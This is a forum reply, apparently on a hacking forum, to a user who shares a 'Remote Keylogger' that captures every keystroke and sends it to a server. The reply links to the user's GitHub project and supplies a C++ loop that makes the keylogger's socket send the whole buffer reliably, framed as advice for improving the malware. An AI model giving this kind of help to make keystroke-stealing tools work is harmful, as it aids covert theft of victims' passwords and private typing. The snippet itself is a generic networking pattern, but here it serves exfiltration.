(Apr 10, 2019 03:14 PM)F.A.S.T Wrote: Check this Remote Keylogger I made. And if possible, help me improve by giving me your better advice's. Thanks!
Really simple*. Catch every key pressed and send it to the server side.
https://github.com/Fahad-M/RootEdge
https://github.com/Fahad-M/RootEdge/blob...ge.cpp#L15
this should be the way you send buffer over socket: (sorry for the formatting)
Code
void send (const char * key) {
int totalsent = 0;
int buflen = strlen(key);
while (buflen > totalsent){
int r = send(mainsocket, key + totalsent, buflen - totalsent, 0);
if (r < 0) return;
totalsent += r;
}
return;
}
You cannot rely that `send()` will always send ALL the data in your buffer (same goes with recv, havn't checked your receive function yet, if there's any). That's why you should create a loop to make sure that if there are remaining bytes, it will get sent too.
I havnt read all your code yet, I just pointed this one out. Any questions I'd be happy to answer (when I'm online).
Cheers.